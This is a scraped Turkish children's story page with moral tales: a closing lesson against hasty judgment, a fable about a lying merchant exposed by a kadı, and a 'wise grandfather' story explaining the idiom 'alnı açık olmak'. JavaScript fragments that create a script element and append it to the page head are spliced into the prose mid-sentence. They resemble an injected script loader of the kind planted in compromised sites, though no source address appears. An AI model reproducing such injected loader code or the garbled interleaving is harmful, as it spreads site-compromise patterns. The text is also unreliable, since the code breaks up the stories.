Yaşlı Amca: “Siz yine erken karar verdiğinizin farkında değilsiniz! Şu anda tek gerçek var, benim oğlum yanımda ve sizinkiler ise askerde. Bunlardan hangisi şanslı hangisi şanssız onu kimseler bilemez” demiş.
Sevgili çocuklar siz siz olun, acele kararlar vermeyin. Hayatın bir anına bakıp da tamamı hakkında fikir üretmeyin.var d=document;var s=d.createElement(‘script’);
Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, develer tellal iken, pireler ise berber iken, ben küçükken ama dayımın da beşiğini tıngır mıngır sallar iken… Herkes başlamış koşmaya, ben dönmüşüm şaşkına. ‘Nereye gidiyorsunuz böyle?’ Diye sordum birine, dedi ki ‘Masal dinlemeye’… ‘Beni de götür’ dememe kalmadan aldı bir kuş beni kanadına, uçurdu periler diyarına… Masal anlatır tüm periler burada bana… O masallardan birini anlatacağım şimdi ben de sana…
Çok ama çok eski zamanların birinde, zenginliği dillere destan olan ama cimriliği de bir o kadar meşhur olan bir tüccar yaşarmış. Tüccar, her şeyi satarmış ve sattığı paraları da keselerin içine koyarmış. Eskiden insanların paralarını koydukları cüzdanları yokmuş, herkes kazandığı paralarını cüzdan yerine keselere koyarmış.
Bu çok zengin ama bir o kadar da cimri tüccar, bir gün paralarını koyduğu keselerden birisini kaybetmiş. Paralarının içinde olduğu keseyi bulamayan tüccar hemen panik olmuş, başlamış aramaya… Aramış, aramış ama paralarının içinde olduğu keseyi bir türlü bulamamış. Tüccar çaresizce etrafına haber salmış. Para kesesini bulup kendisine getirene de iki yüz altın vereceğini söylemiş. Tüccarın bu haberini duyan herkes hummalı bir şekilde para kesesini aramaya başlamış.
Aradan üç gün geçmiş ve yaşlı bir köylü çıkagelmiş. Yaşlı köylü tüccarın kaybettiği para kesesini bularak tüccara getirmiş. Tüccar, yaşlı köylüyü karşısında gördüğünde ‘ben bu adamı kandırır, iki yüz altın vermeden onu yollarım’ diye geçirmiş içinden. Yaşlı adam ise her şeyden habersiz tüccara uzatmış elindeki para kesesini:
Yaşlı Köylü: “Buyurun efendim, para kesenizi buldum ve size getirdim’’ demiş.
Tüccar hemen para kesesini almış yaşlı köylünün elinden. İçindeki altınları da saymış. Planı altınların eksik olduğunu söyleyip, yaşlı köylüyü para vermeden başından savmakmış. Tüccar altınları saydıktan sonra:
Tüccar: ‘Burada tam iki yüz altın eksik yaşlı adam. Ben bu keseye tam bin altın koymuştum ama bu kesede sekiz yüz altın var. Sen altınların içerisinden kendi payına düşen iki yüz altını almışsın’ demiş.
Yaşlı adam şaşırmış. Tüccarın kesesini bulduğu gibi içini açıp bakmadan getirip tüccara teslim etmiş. Fakat tüccar kendisini hırsızlık ile suçluyormuş.
Yaşlı Adam: ‘Efendim siz ne diyorsunuz! Ben bu keseyi açmadım bile. İçinden tek bir altın bile almadım. Bulduğum gibi size getirdim’ demiş.
Tüccar yaşlı köylüyü korkutmak için biraz sesini yükseltmiş:
Tüccar: ‘Keseyi açıp içinden altınları almışsın be adam, şimdi benden bir daha altın mı istiyorsun!’ demiş.
Yaşlı köylü bu laf karşısında sinirlenmiş:
Yaşlı Adam: “Hem bana söz verdiğin ve hakkım olan altını vermiyorsun hem de hırsız diyorsun! Bu kadarı da çok fazla! Seni mahkemeye vereceğim” demiş ve soluğu mahkemede almış.
Kadı, yaşlı köylünün anlattıkları üzerine tüccarı da mahkemeye çağırmış ve başlamış ikisini de dinlemeye… Önce köylü söz almış.
Köylü Adam: “Kadı Bey, ben bu adamın kesesini buldum. Keseyi bulduğumda içini açmadım. Bulduğum gibi tüccara getirdim. Ancak kendisi keseyi bulduğum için söz verdiği altını vereceğine bana hırsızlık suçu atıyor!’ demiş.
Kadı köylüyü dinledikten sonra tüccarı dinlemiş. Tüccar da başlamış anlatmaya:
Tüccar: “Efendim, kese benim. İçine ne kadar altın koyduğumu da bilirim. Kesenin içinde bin altın vardı. Oysaki yaşlı köylü kesemi getirdiğinde kesemden sekiz yüz altın çıktı. İki yüz altını, keseyi getiren yaşlı köylü almış’ demiş.
Kadı biraz düşünmüş ve kararını vermiş:
Kadı: “Tüccar Bey, madem sen kesene bin altın koydun ve bundan eminsin, o zaman bulunan kese sana ait değildir’’ demiş.
Tüccar o anda ne yapacağını şaşırmış. Çünkü keseye en başında bin altın değil sekiz yüz altın koymuş, fakat yaşlı adam keseyi bulup getirdiğinde ona iki yüz altın vermemek için yalan söylemiş. Tüccar kadının bu kararı üzerine yalan söylediğini itiraf etmiş ama iş işten geçmiş. Kadı yalan söylediği için tüccarı ekstra cezalandırmış ve kesedeki tüm altınları yaşlı köylüye bırakmış.
Gökten üç elma düşmüş, üçü de dürüst çocukların olmuş…
d.getElementsByTagName(‘head’)[0].appendChild(s);
Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; develer top oynarken eski hamam içinde. Horozlar tellal iken, pireler ise hamal iken. Ben ise dedemin beşiğini tıngır mıngır sallar iken… Anam da anam, bir de ne göreyim! Dedem düşmez mi beşikten, babam gelmez mi peşinden! Babam kaptı maşayı, ben dolandım kapıyı… Dolana dolana durdum, durdum da ne buldum! Bir küçük köy buldum. Var bu köyde bilge bir dede, şimdi kulak verin de dinleyin, ne der size bu bilge dede…
Bir varmış, bir yokmuş… Eski zamanlarda söylenmiş sözler, şimdilerde deyim olmuş. Ama her deyimin bir hikâyesi, bir söylenme amacı varmış. Bilge dede bu hikâyelerin hepsini bilirmiş. Peki, ‘Alnı açık olmak’ ne demekmiş? İşte bilge dededen ‘Alnı açık olmak’ deyiminin hikâyesi…
Hohohoho.. Bilge dedeniz geldi çocuklar… Bugün size anlatacağım herkesin kullandığı bir deyimin hikâyesi. Önce ‘alnı açık olmak’ ne demek onu anlatayım ben size. Eğer kimseden gizleyeceğiniz bir suçunuz, bir utancınız yoksa herhangi bir ayıp davranışınız bulunmuyorsa işe o zaman size ‘alnı açık insan’ denir. Peki, bu söz nasıl çıkmıştır? Bilge dededen siz çocuklara alnı açık olmak hikâyesi… Buyurun dinlemeye…
Sevgili çocuklar; bundan çok çok eski zamanlarda, suç işlemek şimdikinden çok daha kötü bir şeymiş. Şu. İşleyen kişilere şimdi nasıl cezalar veriliyorsa, o zamanlarda suç işleyen kişilerin alınlarına kızgın demirler ile damgalar vurulurmuş. Şimdi suç işleyen bir kişinin cezası nasıl ki işlediği suça göre belirleniyorsa, o zamanlarda da insanların işlediği suçların büyüklüğüne göre belirlenirmiş bu kızgın damgalar. Şimdilerde var olan nüfus kâğıtları, adli kayıtlar eski zamanlarda olmadığı için bir kişinin suçlu olup olmadığı alnında damga olup olmadığına bakarak anlaşılırmış.
‘Bilge dede alnında damga ile gezmek çok kötü değil mi? Suçlu olduğun hemen anlaşılır, kimse seninle konuşmak istemez’ dediğinizi duyar gibiyim. Sevgili çocuklar, eski zamanlarda alınlarına damga vurulan bu suçlular, alınlarındaki damga ile gezmekten utanırmış. Şimdiki gibi ameliyat imkânı da yok ki… O damga alnını bir kere vuruldu mu hep orada! Şimdi çocuklar, alnına damga vurulmuş bir suçlu öyle gezmek ister mi? İstemez tabi. İşte bu suçlular, alınlarındaki damgayı saklamak için, alınlarını kimseye göstermeden yürürlermiş. Alınlarındaki damgayı kimse görmesin diye başları eğik dolaşırlar, eski zamanlarda insanların taktıkları külahları ve takkeleri alınlarına kadar indirerek bu damgayı kapamaya çalışırlarmış. İşte o zamanlarda suçlu kişilerin alınlarını kapatması, suçlu olmayan kişilerin de alınları açık bir şekilde gezmesi geleneğini başlatmış. Böylece toplum arasında suçlu olan ve suçsuz olan kişiler ayrılıyormuş.
Bilge dedeniz der ki; alnı açık olmak demek herhangi bir suçu bulunmayan, ayıp bir hareket yapmamış demektir. Bunun hikâyesi de çok eskilere dayanır. Eğer siz de alnınızın açık olmasını istiyorsanız, dürüst bir yaşam sürmeli, yalan söyleyerek kimseyi kandırmamalısınız.
Bilge dededen bu seferlik bu kadar… Masal bittiğine göre, gökten üç elma düşsün ; biri Bilge dedenin, biri dürüst ve alnı açık çocukların, sonuncusu da masalı dinleyen herkesin olsun.
d.getElementsByTagName(‘head’)[0].appendChild(s);